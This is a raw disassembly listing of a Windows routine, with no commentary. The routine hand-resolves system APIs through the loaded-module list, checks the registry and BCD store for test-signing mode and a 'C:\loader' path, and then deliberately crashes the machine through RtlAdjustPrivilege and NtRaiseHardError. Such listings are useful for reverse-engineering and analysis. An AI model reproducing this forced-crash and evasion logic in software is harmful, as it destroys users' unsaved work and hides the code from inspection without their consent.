mov rbx, r11
sub rbx, r15
nop word [rax + rax]
movsx r9d, byte [r8]
movsx r10d, byte [rbx + r8]
lea eax, [r9 - 0x41]
cmp eax, 0x19
lea edx, [r9 + 0x20]
lea eax, [r10 - 0x41]
cmova edx, r9d
lea ecx, [r10 + 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp ecx, edx
jne 0x14005120f
test r10b, r10b
je 0x14005120a
test r9b, r9b
je 0x14005120f
inc r8
jmp 0x1400511d0
test r9b, r9b
je 0x140051231
lea eax, [r10 - 0x41]
cmp eax, 0x19
lea edi, [r10 + 0x20]
lea eax, [r9 - 0x41]
cmova edi, r10d
lea ecx, [r9 + 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp edi, ecx
jne 0x140051250
cmp dword [r11 + 4], 0
jne 0x14005123f
cmp dword [r11 + 0x18], 0
je 0x140051250
cmp qword [r11 + 0x20], 0xa
ja 0x14005124d
cmp qword [r11 + 0x10], 0xa
jbe 0x140051250
mov r12b, 1
add r11, 0x28
sub r14, 1
jne 0x1400511b3
xor r15d, r15d
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r12b, r12b
jne 0x140051a38
jmp 0x140051280
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400512c8
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400512ba
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x1400512c4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400512a0
jmp 0x1400512c8
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r9, str.FileVersion
mov rax, r9
test r8, r8
je 0x140051319
movzx ecx, word [r8]
cmp cx, 0x46
jne 0x140051314
mov rdi, r8
mov ecx, 0x46
sub rdi, r9
test cx, cx
je 0x14005130e
cmp word [rax], 0
je 0x140051314
movzx edx, word [rdi + rax + 2]
add rax, 2
movzx ecx, dx
cmp dx, word [rax]
je 0x1400512f0
jmp 0x140051314
cmp word [rax], 0
je 0x14005131f
cmp cx, word [rax]
je 0x14005131f
add r8, 2
jmp 0x1400512d3
mov rbx, r15
mov edi, r15d
add r8, 0x24
je 0x140051372
movzx eax, word [r8]
cmp ax, 0x2d
jne 0x14005133c
mov edi, 1
jmp 0x140051342
cmp ax, 0x2b
jne 0x140051350
add r8, 2
nop word [rax + rax]
movzx edx, word [r8]
lea eax, [rdx - 0x30]
cmp ax, 9
ja 0x14005136b
lea rbx, [rbx + rbx*4]
lea rbx, [rbx - 0x18]
lea rbx, [rdx + rbx*2]
jmp 0x140051342
test edi, edi
je 0x140051372
neg rbx
mov dl, byte [0x7ffe026c]
cmp dl, 0xa
je 0x14005150c
cmp dl, 6
jne 0x1400513c1
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400513c1
sub ecx, 1
je 0x1400513c1
cmp ecx, 1
je 0x1400513c1
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400513b9
sub ecx, 1
je 0x1400513b9
cmp ecx, 1
jne 0x14005150c
mov ecx, r15d
jmp 0x140051513
mov dword [rbp + 0x70], 0x114
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x140051409
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400513fb
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140051405
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x1400513e1
jmp 0x140051409
lea r15, [rdi - 0x10]
mov r8, qword [r15 + 0x30]
mov r12d, 0x5a4d
test r8, r8
je 0x1400515b7
cmp word [r8], r12w
jne 0x1400515b7
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400515b7
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400515b7
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r8
mov esi, dword [rax + 0x1c]
add r11, r8
mov r10d, dword [rax + 0x14]
add rsi, r8
mov r9d, r15d
test r10d, r10d
je 0x14005156c
lea r14, str.RtlGetVersion
mov ecx, dword [rdi]
mov rdx, r14
add rcx, r8
je 0x1400514b6
movzx eax, byte [rcx]
cmp al, 0x52
jne 0x1400514ac
sub rcx, r14
nop word [rax + rax]
test al, al
je 0x1400514a7
cmp byte [rdx], r15b
je 0x1400514ac
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140051490
jmp 0x1400514ac
cmp byte [rdx], r15b
je 0x1400514c7
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400514c7
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x140051476
jmp 0x14005156c
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r8
je 0x14005156c
lea rcx, [rbp + 0x70]
call rax
mov rax, qword gs:[0x60]
mov ecx, dword [rbp + 0x7c]
cmp ecx, dword [rax + 0x120]
jne 0x140051a38
mov eax, ecx
sub rax, rbx
cmp rax, 0x7d0
ja 0x140051a38
jmp 0x14005156c
mov ecx, dword [0x7ffe0260]
mov rax, qword gs:[0x60]
cmp ecx, dword [rax + 0x120]
jne 0x140051a38
cmp dl, 0xa
je 0x14005154e
cmp dl, 6
jne 0x140051549
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x140051549
sub ecx, 1
je 0x140051549
cmp ecx, 1
jne 0x14005154e
mov eax, r15d
jmp 0x140051555
mov eax, dword [0x7ffe0260]
cdqe
sub rax, rbx
cmp rax, 0x7d0
ja 0x140051a38
mov r12d, 0x5a4d
mov qword [rbp - 0x58], r15
mov r14, r15
mov dword [rbp - 0x58], 8
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400515c0
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400515ad
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x1400515bc
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140051593
jmp 0x1400515c0
xor r15d, r15d
jmp 0x14005156c
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140051697
cmp word [r9], r12w
jne 0x140051697
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140051697
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140051697
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140051697
nop dword [rax]
mov eax, dword [rdi]
mov rcx, r13
add rax, r9
je 0x14005165b
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140051651
sub rax, r13
test dl, dl
je 0x14005164c
cmp byte [rcx], 0
je 0x140051651
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140051635
jmp 0x140051651
cmp byte [rcx], 0
je 0x140051669
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140051669
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140051620
jmp 0x140051697
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
je 0x140051697
xor r9d, r9d
lea rdx, [rbp - 0x58]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call rax
mov eax, dword [rbp - 0x54]
shr eax, 1
test al, 1
jne 0x140051a38
mov r12d, 1
mov dword [rbp - 0x50], 0x104
lea rax, [rbp - 0x78]
mov dword [rbp - 0x70], r12d
mov r9d, r12d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
xor bl, bl
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400517a9
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x70]
lea rax, [rbp + 0x380]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140051797
lea r10, [rbp + 0x380]
cmp byte [rbp + 0x380], bl
je 0x140051797
movzx esi, byte [str.TESTSIGNING]
lea r11, str.TESTSIGNING
test r10, r10
je 0x140051797
mov r8, r10
mov r9, r11
movzx eax, sil
nop word [rax + rax]
movsx edx, byte [r8]
lea r9, [r9 + 1]
movsx ecx, al
inc r8
lea eax, [rcx - 0x41]
cmp eax, 0x19
lea edi, [rcx + 0x20]
lea eax, [rdx - 0x41]
cmova edi, ecx
cmp eax, 0x19
ja 0x140051765
add edx, 0x20
cmp edx, edi
jne 0x140051ad8
movzx eax, byte [r9]
test al, al
jne 0x140051740
mov eax, r15d
nop dword [rax + rax]
inc eax
lea r11, [r11 + 1]
cmp byte [r11], bl
jne 0x140051780
cdqe
cmp r8, rax
movzx ebx, bl
cmovne ebx, r12d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x140051a38
lea rax, [rsp + 0x78]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.BCD00000000Objects
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140051aa8
mov edx, 0x4096
mov dword [rbp + 0x10], 0x104
xor ecx, ecx
mov dword [rbp - 0x40], r15d
lea r9d, [rax + 4]
mov r8d, 0x1000
xor sil, sil
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rsp + 0x78]
lea r8, [rbp + 0x10]
mov r15, rax
mov dword [rbp - 0x3c], 0x4096
lea rax, [rbp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x490]
lea rax, [rbp + 0x18]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2c]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1c]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140051a14
xor ecx, ecx
mov r14d, ecx
test eax, eax
je 0x140051a14
lea rax, [rbp + 0x30]
mov dword [rbp + 0x14], 0xff
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x14]
mov qword [rsp + 0x30], rcx
lea r8, [rbp + 0x280]
mov qword [rsp + 0x28], rcx
mov edx, r14d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x140051a02
mov edx, 0x4096
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdi, rax
xor eax, eax
mov ecx, 0x4096
mov rdx, rbx
rep stosb byte [rdi], al
test rbx, rbx
je 0x140051990
cmp byte [rbx], al
je 0x1400518fd
inc rdx
cmp byte [rdx], al
jne 0x1400518f6
lea rcx, str.BCD00000000Objects_
mov al, 0x42
sub rcx, rdx
nop dword [rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
movzx eax, byte [rcx + rdx]
test al, al
jne 0x140051910
mov byte [rdx], al
mov rax, rbx
cmp byte [rbx], 0
je 0x140051930
inc rax
cmp byte [rax], 0
jne 0x140051928
movzx ecx, byte [rbp + 0x280]
test cl, cl
je 0x14005195d
lea rdx, [rbp + 0x280]
sub rdx, rax
nop word [rax + rax]
mov byte [rax], cl
inc rax
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x140051950
mov byte [rax], 0
mov rax, rbx
cmp byte [rbx], 0
je 0x140051970
inc rax
cmp byte [rax], 0
jne 0x140051968
lea rdx, str.Elements16000049
mov cl, 0x5c
sub rdx, rax
nop dword [rax]
mov byte [rax], cl
lea rax, [rax + 1]
movzx ecx, byte [rdx + rax]
test cl, cl
jne 0x140051980
mov byte [rax], cl
lea rax, [rbp - 0x80]
mov r9d, r12d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400519f1
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x3c]
mov qword [rsp + 0x28], rax
lea rdx, str.Element
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400519e7
cmp dword [r15], r12d
movzx esi, sil
cmove esi, r12d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
inc r14d
mov ecx, 0
cmp r14d, dword [rbp - 0x40]
jb 0x140051880
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test sil, sil
je 0x140051aa8
xor r15d, r15d
lea rcx, str.C:loader
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140051a51
shr eax, 4
test al, 1
jne 0x140051aa8
xor r8d, r8d
mov byte [rbp - 0x60], 0
lea r9, [rbp - 0x60]
mov dword [rbp - 0x3c], r15d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rcx, str.Crashing...
call fcn.140046af0
lea rax, [rbp - 0x3c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000055
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
lea rcx, str.Crash_failed_
call fcn.140046af0
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.140058b30
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
inc r10
cmp byte [r10], bl
jne 0x140051727
jmp 0x140051797